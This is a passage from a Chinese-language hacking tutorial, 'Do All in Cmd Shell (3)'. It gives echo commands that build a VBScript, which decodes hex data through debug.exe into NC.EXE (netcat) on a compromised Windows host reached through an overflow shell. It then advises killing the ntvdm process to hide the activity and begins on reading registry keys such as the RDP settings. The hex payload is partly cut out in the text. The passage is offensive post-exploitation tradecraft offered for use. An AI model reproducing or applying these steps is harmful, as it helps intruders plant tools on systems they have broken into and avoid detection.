Do All in Cmd Shell(3) 0000000000000000000000000000000000000000000000000 0000000000000000000000000000000A02101006401000000 00000000000000000000000000000000000000000000002E7 4657874000000"_>>debug.vbs @echo +"70970000001000000098000000040000000000000000000 000000000200000602E726461746100001704000000B00000 00060000009C0000000000000000000000000000400000402 E646174610000004452000000C00000003E000000A2000000 0000000000000000000000400000C02E696461746100005C0 7000000200100"_>>debug.vbs ………… …………(省略若干行) ………… @echo +"">>debug.vbs @echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs @echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbsdebug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs 全选 -》 复制 -》 切换到远程命令行窗口 -》 粘贴。 如果网速不是很慢的话,整个上传过程大约需要20秒。 几点说明: 1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。 2,在传输大文件前,可以先传个小的文件作为“热身”,让16位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。 3,某些cmd shell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。 4,单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmd shell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。 5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。 能上传文件当然一切都好办了,但很多x作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。 系统配置 这节包括三方面内容:注册表、服务和组策略。 先说注册表。很多命令行下访问注册表的工具都是交互式的,溢出产生的shell一般不能再次重定向输入/输出流,所以无法使用。好在系统自带的regedit.exe足够用了。 1,读取注册表 先将想查询的注册表项导出,再用type查看,比如: C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"